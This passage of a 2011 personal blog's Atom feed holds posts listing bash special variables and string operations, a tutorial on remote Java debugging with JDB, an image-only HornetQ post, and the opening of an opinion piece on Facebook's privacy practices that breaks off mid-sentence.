&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5828130103564874004-8918296295469210887?l=thechronicles-archit.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://thechronicles-archit.blogspot.com/feeds/8918296295469210887/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://thechronicles-archit.blogspot.com/2011/10/oracle-space-required-for-table.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5828130103564874004/posts/default/8918296295469210887?v=2'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5828130103564874004/posts/default/8918296295469210887?v=2'/><link rel='alternate' type='text/html' href='http://thechronicles-archit.blogspot.com/2011/10/oracle-space-required-for-table.html' title='Oracle space required for table partition copy'/><author><name>Archit</name><uri>http://www.blogger.com/profile/12154496247265521997</uri><email>noreply@blogger.com</email></author><thr:total>0</thr:total></entry><entry gd:etag='W/&quot;CEIAR3k_fip7ImA9WhdUFUk.&quot;'><id>tag:blogger.com,1999:blog-5828130103564874004.post-7064255614869209442</id><published>2011-10-02T01:02:00.000-07:00</published><updated>2011-10-02T01:02:26.746-07:00</updated><app:edited xmlns:app='http://www.w3.org/2007/app'>2011-10-02T01:02:26.746-07:00</app:edited><title>Bash Usefuls</title><content type='html'>&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;
1. Find out bash version&lt;br /&gt;
&amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;span class="Apple-style-span" style="background-color: white; font-family: monospace; white-space: pre;"&gt;&lt;b&gt;BASH_VERSINFO&lt;/b&gt; is a length 6 array that hold information of the bash version&lt;/span&gt;&lt;br /&gt;
&amp;nbsp; &amp;nbsp;&lt;span class="Apple-style-span" style="font-family: monospace;"&gt;&lt;span class="Apple-style-span" style="white-space: pre;"&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;pre style="background-image: URL(http://2.bp.blogspot.com/_z5ltvMQPaa8/SjJXr_U2YBI/AAAAAAAAAAM/46OqEP32CJ8/s320/codebg.gif); background: #f0f0f0; border: 1px dashed #CCCCCC; color: black; font-family: arial; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;"&gt;&lt;span class="Apple-style-span" style="font-family: monospace;"&gt;&lt;code style="color: black; word-wrap: normal;"&gt; for v in 0 1 2 3 4 5  &lt;/code&gt;&lt;/span&gt;&lt;br /&gt;
&lt;code style="color: black; word-wrap: normal;"&gt;&lt;span class="Apple-style-span" style="font-family: monospace;"&gt;&lt;span class="Apple-style-span" style="white-space: pre;"&gt;  do  
    echo "BASH_VERSINFO[$v] = ${BASH_VERSINFO[$v]}"  
  done  
  Output:   
    BASH_VERSINFO[0] = 3    
    BASH_VERSINFO[1] = 00  
    BASH_VERSINFO[2] = 16  
    BASH_VERSINFO[3] = 1  
    BASH_VERSINFO[4] = release  
    BASH_VERSINFO[5] = i386-pc-solaris2.10  
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;br /&gt;
&lt;span class="Apple-style-span" style="background-color: #e0e0e0;"&gt;&lt;pre class="PROGRAMLISTING"&gt;
&lt;/pre&gt;
&lt;/span&gt;&lt;span class="Apple-style-span" style="background-color: #e0e0e0;"&gt;&lt;pre class="PROGRAMLISTING"&gt;2. &lt;b&gt;$FUNCNAME&lt;/b&gt; &lt;/pre&gt;
&lt;pre class="PROGRAMLISTING"&gt;&lt;span class="Apple-style-span"&gt;   Name of the currently executing function&lt;/span&gt;&lt;/pre&gt;
&lt;pre class="PROGRAMLISTING"&gt;&lt;span class="Apple-style-span"&gt;   &lt;pre style="background-image: URL(http://2.bp.blogspot.com/_z5ltvMQPaa8/SjJXr_U2YBI/AAAAAAAAAAM/46OqEP32CJ8/s320/codebg.gif); background: #f0f0f0; border: 1px dashed #CCCCCC; color: black; font-family: arial; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;"&gt;&lt;code style="color: black; word-wrap: normal;"&gt; getIndex ()  
   {  
    echo "FUNCNAME=$FUNCNAME starting" #Output - FUNCNAME=getIndex starting  
   }  
   getIndex  
   echo "FUNCNAME = $FUNCNAME" #Output - FUNCAME =  
                   # prints blank when there is no current function  
&lt;/code&gt;&lt;/pre&gt;
&lt;/span&gt;&lt;/pre&gt;
&lt;pre class="PROGRAMLISTING"&gt;&lt;span class="Apple-style-span"&gt;
&lt;/span&gt;&lt;/pre&gt;
&lt;pre class="PROGRAMLISTING"&gt;3. &lt;b&gt;$IFS&lt;/b&gt; - Internal field separator&lt;/pre&gt;
&lt;pre class="PROGRAMLISTING"&gt;&lt;span class="Apple-style-span"&gt;   Defines field/word boundaries when bash reads a character stream. Default is whitespace i.e., space, tab or a newline.&lt;/span&gt;&lt;/pre&gt;
&lt;pre class="PROGRAMLISTING"&gt;&lt;span class="Apple-style-span"&gt;&lt;pre style="background-image: URL(http://2.bp.blogspot.com/_z5ltvMQPaa8/SjJXr_U2YBI/AAAAAAAAAAM/46OqEP32CJ8/s320/codebg.gif); background: #f0f0f0; border: 1px dashed #CCCCCC; color: black; font-family: arial; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;"&gt;&lt;code style="color: black; word-wrap: normal;"&gt;   bash$ export var="a:b:c:d"  
   bash$ echo $var   
      a:b:c:d  
   bash$ export IFS=':'  
   bash$ echo $var  
      a b c d  
&lt;/code&gt;&lt;/pre&gt;
&lt;/span&gt;&lt;/pre&gt;
&lt;/span&gt;&lt;span class="Apple-style-span" style="background-color: #e0e0e0;"&gt;&lt;pre class="PROGRAMLISTING"&gt;4. &lt;b&gt;$PIPESTATUS&lt;/b&gt; - Array containing status(es) of last executed pipe&lt;/pre&gt;
&lt;pre class="PROGRAMLISTING"&gt;&lt;span class="Apple-style-span"&gt;   &lt;pre style="background-image: URL(http://2.bp.blogspot.com/_z5ltvMQPaa8/SjJXr_U2YBI/AAAAAAAAAAM/46OqEP32CJ8/s320/codebg.gif); background: #f0f0f0; border: 1px dashed #CCCCCC; color: black; font-family: arial; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;"&gt;&lt;code style="color: black; word-wrap: normal;"&gt; bash$ ls -al | badcomm  
 bash$ echo ${PIPESTATUS[0]}  
 0          #normal execution for ls -al   
 bash$ ls -al | badcomm  
 bash$ echo $?    
 127          #gives command not found exit code. Hence exit code of the last command is captured  
 bash$ ls -al | badcomm  
 bash$ echo ${PIPESTATUS[1]}  
 127          #array value at index 1 contains exit code for badcomm  
&lt;/code&gt;&lt;/pre&gt;
&lt;/span&gt;&lt;/pre&gt;
&lt;/span&gt;&lt;span class="Apple-style-span" style="background-color: #e0e0e0;"&gt;&lt;pre class="PROGRAMLISTING"&gt;5. &lt;b&gt;$SECONDS&lt;/b&gt; - No. of seconds the script has been executing&lt;/pre&gt;
&lt;pre class="PROGRAMLISTING"&gt;&lt;pre style="background-image: URL(http://2.bp.blogspot.com/_z5ltvMQPaa8/SjJXr_U2YBI/AAAAAAAAAAM/46OqEP32CJ8/s320/codebg.gif); background: #f0f0f0; border: 1px dashed #CCCCCC; color: black; font-family: arial; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;"&gt;&lt;code style="color: black; word-wrap: normal;"&gt; for (( i=0; i&amp;lt;10000000; i++ ))  
 &amp;gt; do  
 &amp;gt;    echo $SECONDS;  
 &amp;gt;    sleep 5;  
 &amp;gt; done;  
 40962  
 40967  
&lt;/code&gt;&lt;/pre&gt;
&lt;/pre&gt;
&lt;/span&gt;&lt;span class="Apple-style-span" style="background-color: #e0e0e0;"&gt;&lt;pre class="PROGRAMLISTING"&gt;6.  &lt;b&gt;$$&lt;/b&gt; - PID of the executing script&lt;/pre&gt;
&lt;pre class="PROGRAMLISTING"&gt;7.  &lt;b&gt;$?&lt;/b&gt; - Exit status of a command, function or script&lt;/pre&gt;
&lt;pre class="PROGRAMLISTING"&gt;8.  &lt;b&gt;$_&lt;/b&gt; - Special variable set to final argument of previous command executed&lt;/pre&gt;
&lt;pre class="PROGRAMLISTING"&gt;9.  &lt;b&gt;$!&lt;/b&gt; - PID of the last job run in background&lt;/pre&gt;
&lt;pre class="PROGRAMLISTING"&gt;10. &lt;b&gt;$#&lt;/b&gt; - No of command-line args or positional parameters to a function or script&lt;/pre&gt;
&lt;pre class="PROGRAMLISTING"&gt;11. &lt;b&gt;$*&lt;/b&gt; - All of the positional parameters seen as a single word&lt;/pre&gt;
&lt;pre class="PROGRAMLISTING"&gt;12. &lt;b&gt;$@&lt;/b&gt; - Same as $*, but each parameter is a quoted string, that is, the params a         re passed on intact, without interpretation or expansion. This means, am         ong other things, that each parameter in the argument list is seen as a          separate word.&lt;/pre&gt;
&lt;/span&gt;&lt;span class="Apple-style-span" style="background-color: #e0e0e0;"&gt;&lt;pre class="PROGRAMLISTING"&gt;13. &lt;b&gt;${#string}&lt;/b&gt; - Length of the string&lt;/pre&gt;
&lt;pre class="PROGRAMLISTING"&gt;14. Index of substring - &lt;b&gt;expr index $string $substring&lt;/b&gt;&lt;/pre&gt;
&lt;pre class="PROGRAMLISTING"&gt;&lt;b&gt;15. ${string:position} - &lt;/b&gt;Extracts substring from $string at $position.&lt;/pre&gt;
&lt;pre class="PROGRAMLISTING"&gt;16. &lt;b&gt;${string:position:length} - &lt;/b&gt;Extracts $length characters of substring from $string at $position.&lt;/pre&gt;
&lt;pre class="PROGRAMLISTING"&gt;17. &lt;b&gt;expr match "$string" '\($substring\)' - &lt;/b&gt;Extracts $substring at beginning of $string, where $substring is a regular expression&lt;/pre&gt;
&lt;pre class="PROGRAMLISTING"&gt;18. &lt;b&gt;expr "$string" : '\($substring\)' - &lt;/b&gt;Extracts $substring at beginning of $string, where $substring is a regular expression.&lt;/pre&gt;
&lt;pre class="PROGRAMLISTING"&gt;19. &lt;b&gt;expr match "$string" '.*\($substring\)'&lt;/b&gt; - Extracts $substring at end of $string, where $substring is a regular expression&lt;/pre&gt;
&lt;pre class="PROGRAMLISTING"&gt;20. &lt;b&gt;expr "$string" : '.*\($substring\)'&lt;/b&gt; - Extracts $substring at end of $string, where $substring is a regular expression.&lt;/pre&gt;
&lt;pre class="PROGRAMLISTING"&gt;21. &lt;b&gt;${string#substring}&lt;/b&gt; - Deletes shortest match of $substring from front of $string.&lt;/pre&gt;
&lt;pre class="PROGRAMLISTING"&gt;22. &lt;b&gt;${string##substring}&lt;/b&gt; - Deletes longest match of $substring from front of $string.&lt;/pre&gt;
&lt;pre class="PROGRAMLISTING"&gt;23. &lt;b&gt;${string%substring}&lt;/b&gt; - Deletes shortest match of $substring from back of $string.&lt;/pre&gt;
&lt;pre class="PROGRAMLISTING"&gt;24. &lt;b&gt;${string%%substring}&lt;/b&gt; - Deletes longest match of $substring from back of $string.&lt;/pre&gt;
&lt;pre class="PROGRAMLISTING"&gt;25. &lt;b&gt;${string/substring/replacement}&lt;/b&gt; - Replace first match of $substring with $replacement.&lt;/pre&gt;
&lt;pre class="PROGRAMLISTING"&gt;26. &lt;b&gt;${string//substring/replacement}&lt;/b&gt; - Replace all matches of $substring with $replacement.&lt;/pre&gt;
&lt;pre class="PROGRAMLISTING"&gt;27. &lt;b&gt;${string/#substring/replacement}&lt;/b&gt; - If $substring matches front end of $string, substitute $replacement for $substring.&lt;/pre&gt;
&lt;pre class="PROGRAMLISTING"&gt;28. &lt;b&gt;${string/%substring/replacement}&lt;/b&gt; - If $substring matches back end of $string, substitute $replacement for $substring.&lt;/pre&gt;
&lt;/span&gt;&lt;/div&gt;
&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5828130103564874004-7064255614869209442?l=thechronicles-archit.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://thechronicles-archit.blogspot.com/feeds/7064255614869209442/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://thechronicles-archit.blogspot.com/2011/10/bash-usefuls.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5828130103564874004/posts/default/7064255614869209442?v=2'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5828130103564874004/posts/default/7064255614869209442?v=2'/><link rel='alternate' type='text/html' href='http://thechronicles-archit.blogspot.com/2011/10/bash-usefuls.html' title='Bash Usefuls'/><author><name>Archit</name><uri>http://www.blogger.com/profile/12154496247265521997</uri><email>noreply@blogger.com</email></author><thr:total>0</thr:total></entry><entry gd:etag='W/&quot;A0MAQ348cSp7ImA9WhdREE0.&quot;'><id>tag:blogger.com,1999:blog-5828130103564874004.post-409073106233000568</id><published>2011-07-28T10:56:00.000-07:00</published><updated>2011-07-30T00:04:02.079-07:00</updated><app:edited xmlns:app='http://www.w3.org/2007/app'>2011-07-30T00:04:02.079-07:00</app:edited><category scheme='http://www.blogger.com/atom/ns#' term='Java'/><category scheme='http://www.blogger.com/atom/ns#' term='debug'/><title>Debugging with Java Debugger (JDB)</title><content type='html'>&lt;p&gt;Debugging a program forms an integral part of development. I am no Linus Trovalds or Richard Stallman and I am bound to make mistakes, sometimes trickier ones which need to be debugged on the server. If you have a working condition like mine you would need a console based java debugger.&lt;/p&gt;&lt;p&gt;My development environment – I work on solaris zones with the zone physically present in US very far from India where I work. Connecting the IDE debuggers to the remote zones is very slow and many a times not worth the effort.&lt;/p&gt;&lt;p&gt;My recently found love, JDB (java debugger) has made my life a lot more interesting at the workplace. I can now hook onto the server from the shell, present on the remote zone itself, and hence very fast to debug. And top of all, it’s damn easy to work with it. But the real charm is how easily I can modify code in VI, compile and redefine the classes without a restart of the servers (restarting our server takes close to 4-5 minutes on a sunny day but otherwise it might take anything close to 10-17 mins).&lt;/p&gt;Let’s start.&lt;ol&gt;&lt;li&gt; The configuration- &lt;p&gt;@server – The remote java application that is to be debugged needs to open a port for the JDB client to connect. This is achieved by adding the following to java start command&lt;/p&gt;&lt;pre  style="font-family:arial;font-size:12px;border:1px dashed #CCCCCC;width:99%;height:auto;overflow:auto;background:#f0f0f0;;background-image:URL(http://2.bp.blogspot.com/_z5ltvMQPaa8/SjJXr_U2YBI/AAAAAAAAAAM/46OqEP32CJ8/s320/codebg.gif);padding:0px;color:#000000;text-align:left;line-height:20px;"&gt;&lt;code style="color:#000000;word-wrap:normal;"&gt; -agentlib:jdwp=transport=dt_socket,address=&amp;lt;port&amp;gt;,server=y,suspend=n  &lt;br /&gt;&lt;/code&gt;&lt;/pre&gt;Where, &lt;br /&gt;       &lt;ul&gt;&lt;li&gt;port: the debug port you want to (and is available) to open&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;&lt;li&gt;Now start the remove jvm.&lt;/li&gt;&lt;br /&gt;&lt;li&gt;Start the JDB client and connect to remote jvm&lt;/li&gt;&lt;br /&gt;&lt;pre  style="font-family:arial;font-size:12px;border:1px dashed #CCCCCC;width:99%;height:auto;overflow:auto;background:#f0f0f0;;background-image:URL(http://2.bp.blogspot.com/_z5ltvMQPaa8/SjJXr_U2YBI/AAAAAAAAAAM/46OqEP32CJ8/s320/codebg.gif);padding:0px;color:#000000;text-align:left;line-height:20px;"&gt;&lt;code style="color:#000000;word-wrap:normal;"&gt; jdb -sourcepath &amp;lt;source-path&amp;gt; -attach &amp;lt;port&amp;gt;  &lt;br /&gt;&lt;/code&gt;&lt;/pre&gt;Where,&lt;br /&gt;       &lt;ul&gt;&lt;li&gt;source-path: the directory where the source code for the remove jvm's application classes are. For multiple directories use ":" as a separator&lt;/li&gt;&lt;br /&gt;           &lt;li&gt;port: debug port which the remote jvm has exposed for debugging (see step 1 above)&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;There are other options available to be passed at client startup. Use "jdb --help" to explore them. Running the above command will bring up the following&lt;br /&gt;&lt;pre  style="font-family:arial;font-size:12px;border:1px dashed #CCCCCC;width:99%;height:auto;overflow:auto;background:#f0f0f0;;background-image:URL(http://2.bp.blogspot.com/_z5ltvMQPaa8/SjJXr_U2YBI/AAAAAAAAAAM/46OqEP32CJ8/s320/codebg.gif);padding:0px;color:#000000;text-align:left;line-height:20px;"&gt;&lt;code style="color:#000000;word-wrap:normal;"&gt; myconsole) jdb -sourcepath /usr/home/myproject/src -attach 8007  &lt;br /&gt;  myconsole) Initializing jdb ...  &lt;br /&gt;  &amp;gt; |  &lt;br /&gt;&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;The client is now connected to the remote jvm and is ready for debug. Now the next we want to do is set a breakpoint for the remote execution to pause and debug.&lt;br /&gt;&lt;br /&gt;&lt;li&gt;Adding a breakpoint - Say you want to put breakpoint at "com.my.login.Client" class, inside the method authenticateUser(). Here is the method snipped I worked with&lt;/li&gt;&lt;br /&gt;&lt;pre  style="font-family:arial;font-size:12px;border:1px dashed #CCCCCC;width:99%;height:auto;overflow:auto;background:#f0f0f0;;background-image:URL(http://2.bp.blogspot.com/_z5ltvMQPaa8/SjJXr_U2YBI/AAAAAAAAAAM/46OqEP32CJ8/s320/codebg.gif);padding:0px;color:#000000;text-align:left;line-height:20px;"&gt;&lt;code style="color:#000000;word-wrap:normal;"&gt;117:   package com.my.login;  &lt;br /&gt;118:   public class Client  &lt;br /&gt;119:   public boolean authenticateUser(String userName, String encryptedPwd) throws LoginFailedException  &lt;br /&gt;120:   {  &lt;br /&gt;121:    validateName(userName);  &lt;br /&gt;122:    validateEncryptePwd(encryptedPwd);  &lt;br /&gt;123:    User user = fetchUserByName(userName);  &lt;br /&gt;124:    checkNull(user, userName);  &lt;br /&gt;125:    return matchPassword(encryptedPwd, user);  &lt;br /&gt;126:   }  &lt;br /&gt;&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;Consider the example code above and say you want to debug fetchUserByName method call at Line# 123. Here is how you add a breakpoint. On the jdb client shell type&lt;br /&gt;&lt;pre  style="font-family:arial;font-size:12px;border:1px dashed #CCCCCC;width:99%;height:auto;overflow:auto;background:#f0f0f0;;background-image:URL(http://2.bp.blogspot.com/_z5ltvMQPaa8/SjJXr_U2YBI/AAAAAAAAAAM/46OqEP32CJ8/s320/codebg.gif);padding:0px;color:#000000;text-align:left;line-height:20px;"&gt;&lt;code style="color:#000000;word-wrap:normal;"&gt; &amp;gt; stop at com.my.login.Client:123  &lt;br /&gt;&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;What you are asking jdb to do is, put a breakpoint at line# 123 of com.my.login.Client class. JDB client responds with&lt;br /&gt;&lt;pre  style="font-family:arial;font-size:12px;border:1px dashed #CCCCCC;width:99%;height:auto;overflow:auto;background:#f0f0f0;;background-image:URL(http://2.bp.blogspot.com/_z5ltvMQPaa8/SjJXr_U2YBI/AAAAAAAAAAM/46OqEP32CJ8/s320/codebg.gif);padding:0px;color:#000000;text-align:left;line-height:20px;"&gt;&lt;code style="color:#000000;word-wrap:normal;"&gt; Set breakpoint com.my.login.Client:123  &lt;br /&gt;&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;A call execution will now halt at line#123 of Client.&lt;br /&gt;&lt;pre  style="font-family:arial;font-size:12px;border:1px dashed #CCCCCC;width:99%;height:auto;overflow:auto;background:#f0f0f0;;background-image:URL(http://2.bp.blogspot.com/_z5ltvMQPaa8/SjJXr_U2YBI/AAAAAAAAAAM/46OqEP32CJ8/s320/codebg.gif);padding:0px;color:#000000;text-align:left;line-height:20px;"&gt;&lt;code style="color:#000000;word-wrap:normal;"&gt; Breakpoint hit: "thread=main(1)", com.my.login.Client.authenticateUse(), line=123, bci=0  &lt;br /&gt; 123 User user = fetchUserByName(userName);  &lt;br /&gt;&lt;/code&gt;&lt;/pre&gt;Here, thread=main(1) is the name of the executing thread. &lt;br /&gt;&lt;br /&gt;&lt;li&gt;Inspect commands: To inspect the current frame (state) jdb provides some very valuable methods&lt;/li&gt;&lt;br /&gt;       &lt;ul&gt;&lt;li&gt;list: Print the code where the execution pointer is. It prints a few lines around the execution pointer as well&lt;br /&gt;&lt;pre  style="font-family:arial;font-size:12px;border:1px dashed #CCCCCC;width:99%;height:auto;overflow:auto;background:#f0f0f0;;background-image:URL(http://2.bp.blogspot.com/_z5ltvMQPaa8/SjJXr_U2YBI/AAAAAAAAAAM/46OqEP32CJ8/s320/codebg.gif);padding:0px;color:#000000;text-align:left;line-height:20px;"&gt;&lt;code style="color:#000000;word-wrap:normal;"&gt; thread=main(1) list  &lt;br /&gt; 121      validateName(userName);  &lt;br /&gt; 122      validateEncryptePwd(encryptedPwd);  &lt;br /&gt; 123 =&amp;gt;  User user = fetchUserByName(userName);  &lt;br /&gt; 124      checkNull(user, userName);  &lt;br /&gt; 125      return matchPassword(encryptedPwd, user);  &lt;br /&gt; thread=main(1)  &lt;br /&gt;&lt;/code&gt;&lt;/pre&gt;In the above, =&gt; shows the current execution pointer which is where we had put a breakpoint in the previous step.&lt;br /&gt;&lt;/li&gt;&lt;br /&gt;&lt;li&gt;print &amp;lt;variable&amp;gt;: prints the value of the variable. For an Object it displays the toString output.&lt;br /&gt;     &lt;pre  style="font-family:arial;font-size:12px;border:1px dashed #CCCCCC;width:99%;height:auto;overflow:auto;background:#f0f0f0;;background-image:URL(http://2.bp.blogspot.com/_z5ltvMQPaa8/SjJXr_U2YBI/AAAAAAAAAAM/46OqEP32CJ8/s320/codebg.gif);padding:0px;color:#000000;text-align:left;line-height:20px;"&gt;&lt;code style="color:#000000;word-wrap:normal;"&gt; thread=main(1) print userName  &lt;br /&gt;  userName = "guest.user"  &lt;br /&gt;&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;&lt;li&gt;dump &amp;lt;variable&amp;gt;: if is an object it'll dump all the field values else it'll print the value of the variable.&lt;br /&gt;&lt;pre  style="font-family:arial;font-size:12px;border:1px dashed #CCCCCC;width:99%;height:auto;overflow:auto;background:#f0f0f0;;background-image:URL(http://2.bp.blogspot.com/_z5ltvMQPaa8/SjJXr_U2YBI/AAAAAAAAAAM/46OqEP32CJ8/s320/codebg.gif);padding:0px;color:#000000;text-align:left;line-height:20px;"&gt;&lt;code style="color:#000000;word-wrap:normal;"&gt; thread=main(1) dump user  &lt;br /&gt;  user = {   &lt;br /&gt;       name: "guest.user"  &lt;br /&gt;       loginId: 11201  &lt;br /&gt;       lastLogin: 1311085508  &lt;br /&gt;       lastActivityTimeStamp: 1311085704  &lt;br /&gt;       pwd: "Zcxyav12xff0xff"  &lt;br /&gt;       serialVersionUID: -4772765677915468258  &lt;br /&gt;  }  &lt;br /&gt;&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/li&gt;&lt;li&gt;Proceed Execution&lt;/li&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;next: Proceed execution to the next instruction. Equivalent to a step over&lt;/li&gt;&lt;pre  style="font-family:arial;font-size:12px;border:1px dashed #CCCCCC;width:99%;height:auto;overflow:auto;background:#f0f0f0;;background-image:URL(http://2.bp.blogspot.com/_z5ltvMQPaa8/SjJXr_U2YBI/AAAAAAAAAAM/46OqEP32CJ8/s320/codebg.gif);padding:0px;color:#000000;text-align:left;line-height:20px;"&gt;&lt;code style="color:#000000;word-wrap:normal;"&gt; thread=main(1) next  &lt;br /&gt;  &amp;gt;  &lt;br /&gt;  Step completed: "thread=main(1)", com.my.login.Client.authenticateUser(), line=123 bci=52  &lt;br /&gt; 124      checkNull(user, userName);   &lt;br /&gt;&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;As you see, it completed execution at line 123 and halts at the next line of execution which is line# 124. Doing a "dump user" now will print all the details of "user"&lt;br /&gt;&lt;br /&gt;&lt;li&gt;step in: Steps in the current instruction. &lt;/li&gt;&lt;br /&gt;&lt;li&gt;step up: Steps up to the parent frame. Equivalent to execute and return&lt;/li&gt;&lt;br /&gt;&lt;/ul&gt;&lt;li&gt; Redefine classes: The charm of JDB. Redefining a class is as easy as you can imagine.&lt;/li&gt;&lt;br /&gt;Assume if I had to redefine the Client class, I first compile the class with my changes and the give jdb client the following instruction&lt;br /&gt;&lt;br /&gt;&lt;pre  style="font-family:arial;font-size:12px;border:1px dashed #CCCCCC;width:99%;height:auto;overflow:auto;background:#f0f0f0;;background-image:URL(http://2.bp.blogspot.com/_z5ltvMQPaa8/SjJXr_U2YBI/AAAAAAAAAAM/46OqEP32CJ8/s320/codebg.gif);padding:0px;color:#000000;text-align:left;line-height:20px;"&gt;&lt;code style="color:#000000;word-wrap:normal;"&gt; &amp;gt; redefine com.my.login.Client /path/to/classes/com/my/login/Client.class  &lt;br /&gt;&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;And that's it. The Client class has been loaded with the new class definition. An execution next time onwards will use the redefined class.&lt;br /&gt;&lt;br /&gt;&lt;/ol&gt;&lt;br /&gt;&lt;br /&gt;There are many other commands in JDB. All in all it has become highly valuable in my programmer's arsenal&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5828130103564874004-409073106233000568?l=thechronicles-archit.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://thechronicles-archit.blogspot.com/feeds/409073106233000568/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://thechronicles-archit.blogspot.com/2011/07/debugging-with-java-debugger-jdb.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5828130103564874004/posts/default/409073106233000568?v=2'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5828130103564874004/posts/default/409073106233000568?v=2'/><link rel='alternate' type='text/html' href='http://thechronicles-archit.blogspot.com/2011/07/debugging-with-java-debugger-jdb.html' title='Debugging with Java Debugger (JDB)'/><author><name>Archit</name><uri>http://www.blogger.com/profile/12154496247265521997</uri><email>noreply@blogger.com</email></author><thr:total>0</thr:total></entry><entry gd:etag='W/&quot;DUcAQ3wyeCp7ImA9WhdSFU4.&quot;'><id>tag:blogger.com,1999:blog-5828130103564874004.post-4418705571436235208</id><published>2011-07-24T03:21:00.000-07:00</published><updated>2011-07-24T12:50:42.290-07:00</updated><app:edited xmlns:app='http://www.w3.org/2007/app'>2011-07-24T12:50:42.290-07:00</app:edited><title>HornetQ - From a developer to a developer</title><content type='html'>&lt;a href="http://3.bp.blogspot.com/--v_DNz4zHIg/TiwjBlYekjI/AAAAAAAAAfw/Nw0HMAWlEqY/s1600/hq-flow.png" target="_blank"&gt;&lt;img style="float:center; margin:0 0 10px 10px;cursor:pointer; cursor:hand;width: 900px; height: 1200px;" src="http://3.bp.blogspot.com/--v_DNz4zHIg/TiwjBlYekjI/AAAAAAAAAfw/Nw0HMAWlEqY/s400/hq-flow.png" border="0" alt="" id="BLOGGER_PHOTO_ID_5632915744055267890" /&gt;&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5828130103564874004-4418705571436235208?l=thechronicles-archit.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://thechronicles-archit.blogspot.com/feeds/4418705571436235208/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://thechronicles-archit.blogspot.com/2011/07/hornetq-from-developer-to-developer.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5828130103564874004/posts/default/4418705571436235208?v=2'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5828130103564874004/posts/default/4418705571436235208?v=2'/><link rel='alternate' type='text/html' href='http://thechronicles-archit.blogspot.com/2011/07/hornetq-from-developer-to-developer.html' title='HornetQ - From a developer to a developer'/><author><name>Archit</name><uri>http://www.blogger.com/profile/12154496247265521997</uri><email>noreply@blogger.com</email></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/--v_DNz4zHIg/TiwjBlYekjI/AAAAAAAAAfw/Nw0HMAWlEqY/s72-c/hq-flow.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry gd:etag='W/&quot;DE4EQHgyfSp7ImA9WhdSEU8.&quot;'><id>tag:blogger.com,1999:blog-5828130103564874004.post-4612803256788995712</id><published>2011-07-19T10:38:00.000-07:00</published><updated>2011-07-19T18:55:01.695-07:00</updated><app:edited xmlns:app='http://www.w3.org/2007/app'>2011-07-19T18:55:01.695-07:00</app:edited><title>Facebook's commitment towards privacy</title><content type='html'>I stumbled upon an article, beautifully covering the Facebook's privacy statement. I was shocked at how "candyfloss-ed" it is. The privacy statement has been changing, rather moulding to suit the business needs over the years. &lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Upon reading other articles, some from Stallman, and at NY times, i figure out that the privacy is just a cover-up on what a user sees and shares to the people (network) he/she sees. But in true terms privacy would mean "keeping user's behavior restricted or guided as per user's will". Sincerely i fail to see that. I generally have certain questions/thoughts coming up every time I use Facebook. I hope someone shares his/her point on view on these - &lt;/div&gt;&lt;div&gt;&lt;ul&gt;&lt;li&gt;Why is a User's account not deleted from Facebook. I have deactivated and visited my account about 6-7 month's later and it was all intact. On the contrary, the people who i had crossed in Friend suggestions, started appearing back.&lt;/li&gt;&lt;li&gt;Facebook can't be trusted, they can close account at will and because of changing business reasons. &lt;a href="http://www.telegraph.co.uk/technology/facebook/8278526/Facebook-suspends-Kate-Middletons-account.html"&gt;Users have been complaining&lt;/a&gt;. &lt;/li&gt;&lt;li&gt;Facebook has been trying to be monopolistic. &lt;a 